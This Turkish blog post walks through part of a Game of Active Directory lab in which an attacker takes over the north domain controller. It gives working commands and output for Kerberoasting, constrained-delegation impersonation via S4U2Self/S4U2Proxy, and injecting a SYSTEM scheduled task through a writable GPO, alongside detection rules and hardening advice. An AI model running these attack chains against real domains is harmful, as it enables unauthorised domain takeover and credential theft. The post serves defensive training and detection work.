---
title: "GOAD Bölüm 2: NORTH Domain Controller'ını Ele Geçirmek"
description: "Düşük yetkili bir kullanıcı hesabından north.sevenkingdoms.local içindeki DC02 üzerinde Domain Admin'e: servis hesabını Kerberoasting ile kırma, S4U2Self ve S4U2Proxy ile constrained delegation istismarı ve yazılabilir GPO üzerinden SYSTEM zamanlanmış görevi çalıştırma."
date: 2026-11-03
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/yazilar/north-domain-compromise/
---

## Bir Dayanak Noktasından Domain Controller'a

[Bölüm 1](/tr/yazilar/opening-an-active-directory-assessment/)'in sonunda üç GOAD domain'inde de çalışan kimlik bilgilerim ve tam bir BloodHound veri setim vardı. Bu bölümde `north.sevenkingdoms.local` üzerine odaklanıp düşük yetkili `samwell.tarly` hesabımı **`DC02` (`winterfell`, `192.168.56.11`) üzerinde Administrator**'a dönüştürüyorum. Amaç yalnızca bir hesabı ele geçirmek değil; o hesabın neden Domain Controller'a kadar gidebildiğini ve her adımın nasıl kapatılabileceğini göstermek.

`NORTH` için BloodHound grafiğine baktığımda, ikisi de `DC02`'de biten iki ayrı yükseltme yolu öne çıktı. İlk yol, Domain Controller'a constrained delegation yapılandırılmış Kerberoast edilebilir bir servis hesabından geçiyor. İkinci yol, `samwell.tarly`'nin düzenleme izni olduğu bir Group Policy Object (`StarkWallpaper`) üzerinden işliyor. İki yol birbirinden bağımsız görünse de ortak bir özellik taşır: Her ikisi de düşük yetkili bir hesabın, doğrudan yönetici olmadan `DC02` üzerinde kod çalıştırmasına izin verir. Bu yüzden bulguları ayrı ayrı değil, aynı savunma katmanının farklı delikleri olarak değerlendirmek gerekir. Aşağıda her iki yolu da Kali makinemden yürütüyor, her birinin hangi telemetriyi bıraktığını ve nasıl kapatılacağını not ediyorum.

<figure class="diagram">
<svg viewBox="0 0 760 232" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="NORTH tutunmasından Domain Controller DC02 winterfell'e iki saldırı yolu. jon.snow servis hesabı Kerberoasting ile kırılır ve protocol transition'lı constrained delegation taşır; S4U2Self ve S4U2Proxy zinciriyle DC02'ye Administrator bileti üretilir. samwell.tarly kullanıcısı domain köküne bağlı StarkWallpaper GPO'su üzerinde WriteDacl tutar; enjekte edilen zamanlanmış görev DC02'de SYSTEM olarak çalışır. İki yol da Domain Controller'ın ele geçirilmesiyle biter.">
<defs><marker id="n2-c" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">NORTH · TUTUNMADAN DOMAIN CONTROLLER'A İKİ YOL</text>
<rect x="0" y="34" width="150" height="58" rx="8" class="dg-box" />
<text x="14" y="58" class="dg-label">jon.snow</text>
<text x="14" y="78" class="dg-mono dg-compact">SPN → kırıldı</text>
<line x1="150" y1="63" x2="192" y2="63" class="dg-line-crit" marker-end="url(#n2-c)" />
<rect x="196" y="34" width="256" height="58" rx="8" class="dg-box" />
<text x="210" y="56" class="dg-label">constrained delegation</text>
<text x="210" y="75" class="dg-mono dg-compact">S4U2Self + S4U2Proxy</text>
<text x="210" y="88" class="dg-muted">Administrator'ı taklit et</text>
<rect x="0" y="140" width="150" height="58" rx="8" class="dg-box" />
<text x="14" y="164" class="dg-label">samwell.tarly</text>
<text x="14" y="184" class="dg-mono dg-compact">WriteDacl</text>
<line x1="150" y1="169" x2="192" y2="169" class="dg-line-crit" marker-end="url(#n2-c)" />
<rect x="196" y="140" width="256" height="58" rx="8" class="dg-box" />
<text x="210" y="162" class="dg-label">StarkWallpaper GPO</text>
<text x="210" y="181" class="dg-mono dg-compact">domain köküne bağlı</text>
<text x="210" y="194" class="dg-muted">SYSTEM olarak zamanlanmış görev</text>
<line x1="452" y1="63" x2="556" y2="104" class="dg-line-crit" marker-end="url(#n2-c)" />
<line x1="452" y1="169" x2="556" y2="128" class="dg-line-crit" marker-end="url(#n2-c)" />
<rect x="560" y="82" width="200" height="68" rx="8" class="dg-box-danger" />
<text x="574" y="106" class="dg-label">DC02 · winterfell · .11</text>
<text x="574" y="126" class="dg-crit">Domain Controller</text>
<text x="574" y="142" class="dg-danger">Administrator / SYSTEM</text>
</svg>
<figcaption>Sıradan bir <code>north.sevenkingdoms.local</code> hesabından <code>DC02</code> kontrolüne giden iki bağımsız yol: kırılan servis hesabının constrained delegation'ı ve domain köküne bağlı GPO üzerindeki yazma yetkisi.</figcaption>
</figure>

<figure class="evidence evidence--compact"><a href="/images/posts/goad-evidence/goad-official-attack-map.webp" target="_blank" rel="noopener" aria-label="Resmi GOAD saldırı haritasını tam boyutta aç"><img src="/images/posts/goad-evidence/goad-official-attack-map.webp" alt="SevenKingdoms, North ve Essos etki alanlarındaki yanal hareket vektörlerini detaylandıran resmi GOAD genel saldırı haritası" loading="lazy" /></a><figcaption><span>GOAD saldırı haritası</span> Orange Cyberdefense'in resmi genel saldırı matrisi. <code>NORTH</code> alt etki alanında Kerberoasting ve GPO yetki aşımı adımları doğrudan <code>DC02</code>'ye (winterfell) çıkan iki paralel dayanak oluşturur.</figcaption></figure>

### North domain temel yapılandırması ve savunma duruşu

Resmi GOAD dokümantasyonu `north.sevenkingdoms.local` alt domain'ine iki Windows Server 2019 sunucusu atar:

| Sunucu | IP | Rol | İşletim Sistemi | Windows Defender | Ana Vektörler |
| :--- | :--- | :--- | :--- | :--- | :--- |
| `DC02` (winterfell) | `192.168.56.11` | Child DC, KDC, DNS | Windows Server 2019 | **Etkin (Enabled)** | Kısıtlı Delegasyon (`S4U2Proxy`), GPO İstismarı (`StarkWallpaper`) |
| `SRV02` (castelblack) | `192.168.56.22` | Üye Sunucu, IIS, MSSQL | Windows Server 2019 | **Devre Dışı (Disabled)** | Web dosya yükleme, MSSQL linked server pivot |

> [!NOTE]
> `DC02` üzerinde Windows Defender **Etkin** olmasına rağmen, ne Kerberoasting ne de Kısıtlı Delegasyon (`S4U2Self` + `S4U2Proxy`) antivirüs uyarısı üretir. Kerberos bilet taklitleri ve protokol geçişleri tamamen bellek içi (in-memory) LSASS oturumları ve ASN.1 ağ paketleri üzerinde gerçekleştiğinden, disk tabanlı imza taraması bu saldırı zincirini doğrudan algılayamaz.

## Adım 1: Servis Hesaplarını Kerberoasting ile Kırmak

Kimliği doğrulanmış herhangi bir domain kullanıcısı, kayıtlı Service Principal Name (SPN) taşıyan herhangi bir hesap için KDC'den servis bileti (`TGS-REP`) isteyebilir. Bir SPN, hesabın hangi servisi sunduğunu söyler; KDC de o servise ait bileti hedef servis hesabının parolasından türetilen anahtarla şifreler. Bu yüzden bilet, saldırganın çevrimdışı olarak parola tahmin edebileceği bir veri haline gelir ([MITRE T1558.003](https://attack.mitre.org/techniques/T1558/003/)). Biletin şifrelenmesi parolayı doğrudan açığa çıkarmaz; ancak zayıf bir parola seçildiyse hashcat gibi araçlar bu şifreli veriyi sözlük saldırısıyla çözebilir. Bu nedenle Kerberoasting, parola gücüyle doğrudan ilişkili bir saldırıdır. Bölüm 1'deki `samwell.tarly` hesabını kullanarak `north` içindeki SPN hesaplarını listeliyorum:

```bash
$ impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11
ServicePrincipalName                                 Name         MemberOf                        Delegation
---------------------------------------------------  -----------  ------------------------------  -----------
HTTP/eyrie.north.sevenkingdoms.local                 sansa.stark  CN=Stark,CN=Users,...
CIFS/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,...     constrained
HTTP/thewall.north.sevenkingdoms.local               jon.snow     CN=Night Watch,CN=Users,...     constrained
MSSQLSvc/castelblack.north.sevenkingdoms.local       sql_svc                                      
MSSQLSvc/castelblack.north.sevenkingdoms.local:1433  sql_svc                                      
```

Ardından `-request` ile biletleri isteyip `hashcat` (`-m 13100`) ile kırıyorum:

```bash
$ impacket-GetUserSPNs north.sevenkingdoms.local/samwell.tarly:Heartsbane -dc-ip 192.168.56.11 -request -outputfile kerb.hashes
$ hashcat -m 13100 kerb.hashes /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*jon.snow$NORTH.SEVENKINGDOMS.LOCAL$...*...:iknownothing
```

Üç kullanıcı hesabının SPN'i var (`sansa.stark`, `jon.snow` ve `sql_svc`) ve `jon.snow` hemen `iknownothing` parolasına kırılıyor. `sql_svc` ise `rockyou.txt`'e karşı kırılamıyor; çünkü GOAD kurulum dosyalarındaki parolası `YouWillNotKerboroast1ngMe...`. Bu, uzun ve tahmin edilemez bir parolanın Kerberoasting'i nasıl durdurduğuna iyi bir örnektir. `Delegation` sütunundaki `constrained` etiketi yüzünden burada ihtiyacım olan tek şey `jon.snow`'u kırmak; çünkü asıl fırsat parolanın kendisinde değil, bu hesaba tanınan delegasyon yetkisinde.

### BloodHound Cypher: Delegasyon yetkili Kerberoastable hesapları avlamak

Binlerce nesne barındıran kurumsal bir dizinde manuel inceleme yetersiz kalır. BloodHound CE üzerindeki aşağıdaki Cypher sorgusu, kayıtlı SPN taşıyan ve aynı zamanda kısıtlı delegasyon yetkisine sahip kullanıcıları anında listeler:

```cypher
MATCH (u:User)
WHERE u.hasspn = true AND u.allowedtodelegate IS NOT NULL
RETURN u.name AS ServiceAccount, u.serviceprincipalnames AS SPNs, u.allowedtodelegate AS TargetSPNs
```

### Windows ve PowerShell araç eşdeğerleri

İşlemleri Linux/Impacket yerine etki alanına dahil edilmiş bir Windows uç noktasından yürütürken aynı keşif ve bilet çekme adımları ActiveDirectory PowerShell modülü, PowerView veya Rubeus ile gerçekleştirilebilir:

```powershell
# ActiveDirectory modülü (PowerShell)
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName, msDS-AllowedToDelegateTo |
    Select-Object SamAccountName, ServicePrincipalName, msDS-AllowedToDelegateTo

# PowerView (bellek içi keşif)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, msds-allowedtodelegateto

# Rubeus (bellek içi Kerberoast bileti isteyip konsola dökme)
Rubeus.exe kerberoast /user:jon.snow /nowrap
```

**Tespit:** Kerberoasting, `RC4` (`etype 23` / `0x17`) şifreleme isteyen bir `TGS-REQ` patlaması olarak görünür ve DC'de Event ID `4769` olarak loglanır. Bir kullanıcı hesabı aniden domain'deki her SPN için bilet isterse ya da AES (`0x12`) taban çizgiyken `0x17` şifreleme talep ederse net bir sinyal vardır. Tek başına bir RC4 isteği kötücül değildir; önemli olan bunun kim tarafından, hangi sıklıkta ve mevcut taban çizgisine göre istendiğidir.

**Kontrol:** Servisleri, Windows tarafından otomatik döndürülen 120 karakterlik parolalar kullanan **group-managed service accounts (gMSA)** altında çalıştırın. Bir uygulama SPN'li standart bir kullanıcı hesabı gerektiriyorsa ona 25+ karakterlik rastgele bir parola verin ve hesapta RC4 şifrelemeyi devre dışı bırakın.

> [!TIP]
> Kısıtlı delegasyonun yanı sıra, resmi GOAD kurgusunda `jon.snow` hesabı `CASTELBLACK` (`192.168.56.22`) üzerindeki SQL Server'da `sysadmin` yetkisine sahiptir ve doğrudan `SRV03` (`braavos.essos.local`) sunucusuna bağlı aktif bir Linked Server taşır. Kerberos orman güven sınırlarını tamamen atlayarak veritabanı bağlantısı üzerinden ormanlar arası pivot senaryosunu incelemek için [SQL Server Linked Servers ile Ormanlar Arası Pivot](/tr/yazilar/mssql-linked-servers/) rehberine göz atabilirsiniz.

## Adım 2: Domain Controller'a Constrained Delegation

`jon.snow`'un parolasının önemi, KDC'nin bu hesaba hangi delegasyon yetkisini tanıdığından gelir. (`S4U2Self` ve `S4U2Proxy`'nin protokol düzeyinde nasıl çalıştığına daha derin bir bakış için ayrıca şunu yazdım: [Inside Kerberos Delegation: Why Multi-Tier Windows Apps Need It (and Why It Breaks)](/tr/yazilar/inside-kerberos-delegation-architecture/).) Önce `north` içindeki tam delegasyon yapılandırmasını görmek için LDAP sorguluyorum:

```bash
$ nxc ldap 192.168.56.11 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --find-delegation
AccountName   AccountType  DelegationType                      DelegationRightsTo
------------  -----------  ----------------------------------  ----------------------------------------
jon.snow      Person       Constrained w/ Protocol Transition  CIFS/winterfell, CIFS/winterfell.north...
CASTELBLACK$  Computer     Constrained                         HTTP/winterfell, HTTP/winterfell.north...
```

`jon.snow`, Domain Controller'ın (`DC02`) kendisindeki SMB servisi olan `CIFS/winterfell`'i hedefleyen **protocol transition'lı constrained delegation** (`TrustedToAuthForDelegation`) ile yapılandırılmış. Kısıtlı delegasyon, bir servisin kullanıcı adına başka bir servise bilet almasına izin verir; protocol transition ise kullanıcının hiç Kerberos bileti almamış olması durumunda bile bunu mümkün kılar. Bu yetki meşru çok katmanlı uygulamalar için tasarlanmıştır; ama aynı yetki ele geçirildiğinde saldırganın herhangi bir kullanıcıyı taklit etmesine yarar. Bu nedenle `jon.snow`, `S4U2Self` ile herhangi bir kullanıcı hiç giriş yapmadan onun adına forwardable bir bilet alabilir ve bunu `S4U2Proxy`'ye geçirerek `Administrator` olarak bir `CIFS/winterfell.north.sevenkingdoms.local` bileti elde edebilir:

```bash
$ impacket-getST -spn CIFS/winterfell.north.sevenkingdoms.local \
    -impersonate Administrator 'north.sevenkingdoms.local/jon.snow:iknownothing' -dc-ip 192.168.56.11
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
```

Bu `.ccache` biletini `KRB5CCNAME`'e aktarıp `winterfell.north.sevenkingdoms.local`'a karşı `nxc smb`'ye geçiriyorum:

```bash
$ export KRB5CCNAME=Administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
$ nxc smb winterfell.north.sevenkingdoms.local -k --use-kcache --shares
SMB  winterfell.north.sevenkingdoms.local  445  WINTERFELL  [+] north.sevenkingdoms.local\Administrator from ccache (Pwn3d!)
SMB  winterfell.north.sevenkingdoms.local  445  WINTERFELL  ADMIN$  READ,WRITE  Remote Admin
SMB  winterfell.north.sevenkingdoms.local  445  WINTERFELL  C$      READ,WRITE  Default share
```

`DC02` üzerinde `Administrator` olarak `ADMIN$` ve `C$`'a okuma/yazma erişimiyle, aynı Kerberos biletiyle çalıştırılan `impacket-secretsdump -k -no-pass` komutu `NTDS.dit` dosyasını ve `north.sevenkingdoms.local` içindeki her hash'i döker. `Administrator`'ın parolasına hiç ihtiyaç duymadım; yalnızca `jon.snow`'un parolası ve delegasyon kuralı yetti. Buradaki asıl zafiyet, bir servis hesabının Domain Controller servisine delege edilebilmesidir.

### Protokol kablo mekaniği: Derinlemesine S4U2Self ve S4U2Proxy ([MS-SFU])

Kırılan servis hesabı hash'inden `DC02` üzerinde Domain Admin yetkisine geçiş, Microsoft Kerberos Protokol Genişletmeleri (`[MS-SFU]`) ile yönetilir:

1. **S4U2Self (`PA-FOR-USER`):**
   - Servis hesabı (`jon.snow`), rastgele bir hedef kullanıcı (`Administrator`) adına *kendisine* bir servis bileti talep etmek üzere KDC'ye başvurur.
   - Kerberos `TGS-REQ` paketi, hedef kullanıcı adını (`Administrator`), etki alanını ve `jon.snow`'un uzun vadeli gizli anahtarıyla hesaplanan HMAC sağlama toplamını içeren `PA-FOR-USER` pre-authentication padata yapısını taşır.
   - KDC sağlama toplamını doğrular. Ardından `jon.snow`'un `userAccountControl` özniteliğini kontrol eder: `TRUSTED_TO_AUTH_FOR_DELEGATION` biti (`0x1000000`) ayarlanmışsa (Protokol Geçişi), KDC üretilen TGS biletine `FORWARDABLE` bayrağını (`0x40000000`) ekler.
   - *Savunma kontrolü:* Hedef kimlik `Protected Users` grubundaysa veya `Account is sensitive and cannot be delegated` (`NOT_DELEGATED` `0x100000`) bayrağına sahipse, KDC bileti `FORWARDABLE` bayrağı olmadan üretir ve saldırı zinciri bu noktada kırılır.

2. **S4U2Proxy (Kısıtlı İletme):**
   - Elinde yönlendirilebilir (forwardable) bir bilet bulunan `jon.snow`, hedef servisi (`CIFS/winterfell.north.sevenkingdoms.local`) belirten ikinci bir `TGS-REQ` gönderir.
   - İlk adımda elde edilen forwardable `Administrator` bileti, isteğin `additional-tickets` alanına eklenir.
   - KDC, talep edilen SPN'in `jon.snow` hesabının `msDS-AllowedToDelegateTo` çok değerli özniteliğindeki listede bulunup bulunmadığını denetler.
   - Doğrulama sağlandığında KDC, `Administrator`'ı taklit eden geçerli bir `CIFS` servis bileti üretir. Denetim izini korumak için KDC, PAC yapısındaki `TransitedServices` arabelleğine `jon.snow` kimliğini yazarak aracı servisi kayda geçirir.

### Windows ve C# araç eşdeğerleri (Rubeus)

Windows uç noktalarında Rubeus bu protokol geçişini tamamen bellek içinde gerçekleştirir ve sahte bileti doğrudan mevcut oturuma enjekte eder (`/ptt`):

```powershell
# S4U2Self + S4U2Proxy adımlarını çalıştır ve oluşan bileti mevcut logon oturumuna aktar
Rubeus.exe s4u /user:jon.snow /rc4:iknownothing /impersonateuser:Administrator /msdsspn:CIFS/winterfell.north.sevenkingdoms.local /ptt

# Biletin Windows Kerberos önbelleğine yüklendiğini doğrula
klist

# SMB üzerinden Domain Controller'a bağlan
dir \\winterfell.north.sevenkingdoms.local\C$
```

**Tespit:** Bir `S4U2Self` + `S4U2Proxy` dizisi DC'de iki ardışık Event ID `4769` üretir: ilkinde `jon.snow`, `Administrator` adına kendisine bilet ister; ikincisinde `CIFS/winterfell` için `TransitedServices` alanı dolu bir bilet talep eder. Ayrıca `msDS-AllowedToDelegateTo` ve `userAccountControl` üzerindeki LDAP değişikliklerini de izleyin.

**Kontrol:** Mümkün olduğunca `TrustedToAuthForDelegation`'dan kaçının ve constrained delegation'ı asla bir Domain Controller SPN'ine (`CIFS/`, `LDAP/`, `HOST/`) yöneltmeyin. Aynı derecede önemli olan, tüm Domain Admin hesaplarında **"Account is sensitive and cannot be delegated"** seçeneğini işaretlemek (veya bu hesapları **Protected Users** güvenlik grubuna almak); böylece KDC `S4U2Self` sırasında onları taklit etmeyi reddeder.

## Adım 3: Yazılabilir Bir GPO'yu İstismar Etmek

`DC02`'ye giden ikinci yol Kerberos'a hiç dokunmaz. Bölüm 1'deki BloodHound verimizde `samwell.tarly`'nin **StarkWallpaper** GPO'su üzerinde `WriteDacl`, `WriteOwner` ve `GenericWrite` izinleri vardı. (Bu ACE bitmask'lerinin ve güvenlik tanımlayıcılarının LDAP'ta nasıl çalıştığını şurada ayrıntılı açıklıyorum: [Active Directory as a Directed Graph: How Security Descriptors and Object ACLs Actually Work](/tr/yazilar/active-directory-acls-and-security-descriptors/).) O GPO'nun hangi makineleri etkilediğini görmek için nereye bağlı olduğunu kontrol ediyorum ([MITRE T1484.001](https://attack.mitre.org/techniques/T1484/001/)):

```bash
$ ldapsearch -x -H ldap://192.168.56.11 -D 'samwell.tarly@north...' -w Heartsbane \
    -b "DC=north,DC=sevenkingdoms,DC=local" "(gPLink=*)" dn gPLink
dn: DC=north,DC=sevenkingdoms,DC=local
gPLink: [LDAP://cn={B4BB975E-77E3-4D76-B30B-7D5433AAA3BD},cn=policies,cn=system,...]
```

`{B4BB975E-77E3-4D76-B30B-7D5433AAA3BD}` (`StarkWallpaper`) doğrudan `DC=north,DC=sevenkingdoms,DC=local` köküne bağlı olduğundan `DC02` dahil domain'deki her makine onu uygular. Bu bağlantı türü etkiyi tek bir iş istasyonundan tüm domaine yayar; Domain Controller da bu kapsamın içindedir. GPO bir sonraki yenileme döngüsünde uygulandığı için saldırganın ek bir tetikleme yapmasına gerek kalmaz; politika zaten tüm etki alanına dağıtılır. O GPO'yu düzenleyebilen herkes, `NT AUTHORITY\SYSTEM` olarak çalışan anlık bir zamanlanmış görev gönderebilir. Bunu `pyGPOAbuse` ile zararsız bir işaret dosyası komutu kullanarak test ediyorum:

```bash
$ python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:Heartsbane \
    -gpo-id B4BB975E-77E3-4D76-B30B-7D5433AAA3BD -dc-ip 192.168.56.11 \
    -command 'cmd.exe /c echo jankesec_poc > C:\jankesec_poc.txt' -taskname jankesec_poc
[+] ScheduledTask jankesec_poc created!
```

`SYSVOL`'u ve GPO'nun `versionNumber` özniteliğini kontrol etmek, görevin politikaya yazıldığını doğrular:

```bash
$ smbclient //192.168.56.11/SysVol -U 'north.../samwell.tarly%Heartsbane' \
    -c 'ls "...\{B4BB975E-...}\Machine\Preferences\ScheduledTasks\"'
  ScheduledTasks.xml                  A     1797  Tue Nov  3 18:58:23 2026

# versionNumber on the GPO object incremented from 131073 to 131074
```

Bir sonraki Group Policy yenileme döngüsünde `DC02`, `ScheduledTasks.xml` dosyasını `SYSVOL`'dan çekip komutu `NT AUTHORITY\SYSTEM` olarak çalıştırır. Yazmayı doğruladıktan sonra test görevini hemen `pyGPOAbuse` ile temizledim; laboratuvar dışında bu tür bir değişiklik kullanıcıları ve sistemleri doğrudan etkiler.

### BloodHound Cypher: Domain köküne bağlı yazılabilir GPO'ları tespit etmek

Domain köküne veya Domain Controllers OU'suna uygulanan Group Policy nesnelerini değiştirme yetkisine sahip kullanıcı veya grupları listelemek için:

```cypher
MATCH (u:User)-[r:GenericWrite|GenericAll|WriteDacl|WriteOwner]->(g:GPO)-[:GpLink]->(d:Domain)
RETURN u.name AS Principal, type(r) AS AbuseRight, g.name AS GPOName, d.name AS LinkedContainer
```

### Windows ve C# araç eşdeğerleri (SharpGPOAbuse ve PowerView)

Windows üzerinde ACL denetimi ve zamanlanmış görev enjeksiyonu, Python araçlarına ihtiyaç duymadan PowerView ve SharpGPOAbuse ile yürütülebilir:

```powershell
# PowerView: StarkWallpaper GPO'su üzerindeki yazma izinlerini doğrula
Get-DomainGPO -Identity "StarkWallpaper" | Get-DomainObjectAcl -ResolveGUIDs |
    Where-Object { $_.SecurityIdentifier -eq (Convert-NameToSid "samwell.tarly") }

# SharpGPOAbuse: SYSTEM olarak çalışan anlık bir bilgisayar zamanlanmış görevi enjekte et
SharpGPOAbuse.exe --AddComputerTask --TaskName "jankesec_poc" --Author "NT AUTHORITY\SYSTEM" `
    --Command "cmd.exe" --Arguments "/c echo jankesec_poc > C:\jankesec_poc.txt" `
    --GPOName "StarkWallpaper"

# DC üzerinde Grup İlkesi altyapısını hemen yenilenmeye zorla (test amaçlı)
Invoke-Command -ComputerName winterfell.north.sevenkingdoms.local -ScriptBlock { gpupdate /force }
```

**Tespit:** Bir GPO'yu değiştirmek, `versionNumber` ve `gPCMachineExtensionNames` LDAP'ta güncellendiğinde DC'de Event ID `5136` tetikler; ayrıca `SYSVOL\...\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml` içinde SMB dosya oluşturma olayları görülür. Bir GPO'da aniden Scheduled Tasks CSE GUID'i (`{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}`) belirirse bunu yüksek öncelikli alarm olarak ele alın.

**Kontrol:** `CN=Policies,CN=System` altındaki her GPO kapsayıcısının ve eşleşen `SYSVOL` klasörünün `nTSecurityDescriptor` değerini denetleyin; yönetici olmayan hesaplar için `WriteDacl`, `WriteOwner` ve `GenericWrite` izinlerini kaldırın. Ayrıca genel iş istasyonu GPO'larını, altında Domain Controller'ların bulunduğu domain köküne bağlamaktan kaçının.

## Savunma telemetrisi ve Windows Event ID referansı

Bu saldırı zincirini izlemek, hem LDAP dizin değişikliklerini hem de Kerberos bilet işlemlerini gözlemlemeyi gerektirir:

| Saldırı Adımı | Windows Event ID | Olay Açıklaması | Belirleyici Telemetri Alanları |
| :--- | :--- | :--- | :--- |
| Kerberoasting (`jon.snow`) | `4769` | Kerberos Servis Bileti Talebi | `ServiceName: CIFS/thewall`, `TicketEncryptionType: 0x17` (RC4), `TicketOptions: 0x40810000` |
| S4U2Self İle Kimliğe Bürünme | `4769` | Kendi Adına Bilet Talebi | `ServiceName: jon.snow`, `TargetUserName: Administrator` |
| S4U2Proxy Bilet Sahteciliği | `4769` | Delege Edilen Servis Bileti | `ServiceName: CIFS/winterfell`, `TransitedServices` ara servis bilgisiyle dolu |
| GPO LDAP DACL Değişimi | `5136` | Dizin Servisi Nesnesi Güncellendi | `CN={B4BB975E-...}` nesnesinde `AttributeLDAPDisplayName: nTSecurityDescriptor` |
| GPO Zamanlanmış Görev Enjeksiyonu | `4698` / `4702` | Görev Oluşturuldu / Güncellendi | `TaskName: \jankesec_poc`, `taskeng.exe` / `svchost.exe` altında `ClientProcessId` |
| SMB Yanal Yayılma | `4624` | Başarılı Oturum Açma | `LogonType: 3` (Ağ), `AuthenticationPackage: Kerberos`, `AccountName: Administrator` |

### SIEM ve SOC tespit kuralları

Bu saldırı vektörlerine karşı yüksek doğruluklu tespitler oluşturmak, Event ID, erişim maskeleri ve bilet bayraklarını birleştiren hedefe yönelik sorgular gerektirir:

#### 1. Splunk: RC4 ile Kerberoasting (Event ID 4769)

Otomasyon araçlarının tipik özelliği olan RC4 şifreli Kerberos bilet taleplerindeki (`Ticket_Encryption_Type=0x17`) ani artışları yakalar:

```splunk
index=wineventlog EventCode=4769 Ticket_Encryption_Type=0x17 Service_Name!="*$"
| stats count dc(Service_Name) as distinct_spns values(Service_Name) as targets by src_ip, Account_Name
| where distinct_spns > 3 OR count > 5
```

#### 2. Splunk: S4U2Proxy Protokol Geçişi Anomalisi (Event ID 4769)

`TransitedServices` PAC alanının biletin bir ara servis üzerinden iletildiğini gösterdiği kısıtlı delegasyon taleplerini tespit eder:

```splunk
index=wineventlog EventCode=4769
| eval TransitedServices=coalesce(Transited_Services, TransitedServices, "-")
| search TransitedServices!="-" Service_Name="CIFS/*"
| table _time, ComputerName, Account_Name, Service_Name, TransitedServices, Ticket_Options
```

#### 3. Splunk: GPO DACL / Öznitelik Değişikliği (Event ID 5136)

`CN=Policies,CN=System` altındaki Group Policy kapsayıcılarına yönelik yetkisiz dizin servisi değişikliklerini yakalar:

```splunk
index=wineventlog EventCode=5136 ObjectDN="*CN=Policies,CN=System,DC=*"
| search AttributeLDAPDisplayName IN ("nTSecurityDescriptor", "versionNumber", "gPCMachineExtensionNames")
| table _time, SubjectUserName, ObjectDN, AttributeLDAPDisplayName, OperationType
```

#### 4. Sigma kural kesiti: GPO zamanlanmış görev uzantısı eklenmesi

```yaml
title: GPO Uzerinde Supheli Zamanlanmis Gorev CSE Degisikligi
status: experimental
description: Bir GPO nesnesine Scheduled Tasks Client Side Extension GUID'i ekleyen LDAP degisikliklerini tespit eder
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    ObjectDN|contains: 'CN=Policies,CN=System'
    AttributeLDAPDisplayName: 'gPCMachineExtensionNames'
    AttributeValue|contains: '{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}'
  condition: selection
falsepositives:
  - Domain Administrator tarafindan yapilan mesru kurumsal GPO olusturma islemleri
level: high
```

## Bulguların Özeti

Aşağıdaki tablo, her bulguyu hangi hesabın hangi hedefe karşı kullandığını, etkisini ve savunmada neye bakılacağını tek yerde toplar. Böylece tek tek adımlar arasındaki bağ kaybolmaz ve kapatılması gereken asıl yapılandırma hatası görünür kalır.

| Bulgu | Hesap → hedef | Etki | Doğrula (Kali'den) | Kontrol |
| --- | --- | --- | --- | --- |
| Zayıf parolalı roast edilebilir SPN | `jon.snow` | Çevrimdışı kırılabilir (`iknownothing`) | `impacket-GetUserSPNs <dom>/<user>:<pass> -dc-ip <dc> -request` | gMSA / 25+ karakter parola; RC4'ü kapat |
| DC servisine protocol transition'lı constrained delegation | `jon.snow` → `CIFS/winterfell` | DC02 admin'i için `Administrator` bileti üret | `nxc ldap <dc> -u jon.snow -p ... --find-delegation` | `TrustedToAuthForDelegation`'u kaldır; adminleri sensitive/non-delegable işaretle |
| Domain köküne bağlı GPO üzerinde WriteDacl | `samwell.tarly` → StarkWallpaper | Her `north` hostunda SYSTEM zamanlanmış görev | `ldapsearch ... "(gPLink=*)" gPLink` + BloodHound | Admin olmayan GPO ACE'lerini kaldır; `5136`'yı denetle; GPO linklerini kapsamlandır |
| DC02 tarafından kabul edilen S4U2Proxy bileti | `Administrator` (taklit edilen) | `ADMIN$`/`C$` okuma-yazma; `NTDS.dit` erişilebilir | `nxc smb <dc> -k --use-kcache --shares` | Protected Users; yalnızca AES; delegasyon gözden geçirme |

## Sıradaki Bölüm: Bölüm 3

`DC02`'yi ele geçirmek bize `north.sevenkingdoms.local` alt domain'inin tam kontrolünü verir. **Bölüm 3**'te, Bölüm 1'de `SYSVOL`'dan kurtardığımız `tywin.lannister` parolasını kullanarak ana domain `sevenkingdoms.local`'a yükseliyoruz: `KINGSLANDING`'e giden sekiz adımlı ACL zincirini shadow credentials, DACL ve sahiplik yeniden yazmaları, grup üyeliği tırmanışı ve orman köküne karşı son bir Resource-Based Constrained Delegation (RBCD) + DCSync ile yürüyoruz.

## Kanıt ve Sınırlar

Bu dizi, Bölüm 1 ile aynı izole GOAD anlık görüntüsü (snapshot) üzerinde çalıştırıldı. Yazı; her geçişi mümkün kılan kimlikleri ve hedef SPN'leriyle birlikte belirleyici Kerberoast, S4U, SMB ve GPO çıktılarını korur. Gösterilen parola ve hash'ler GOAD test verileridir; yalnızca hangi kimlik bilgisinin veya biletin kabul edildiğini kanıtladıkları yerde tutulmuştur.

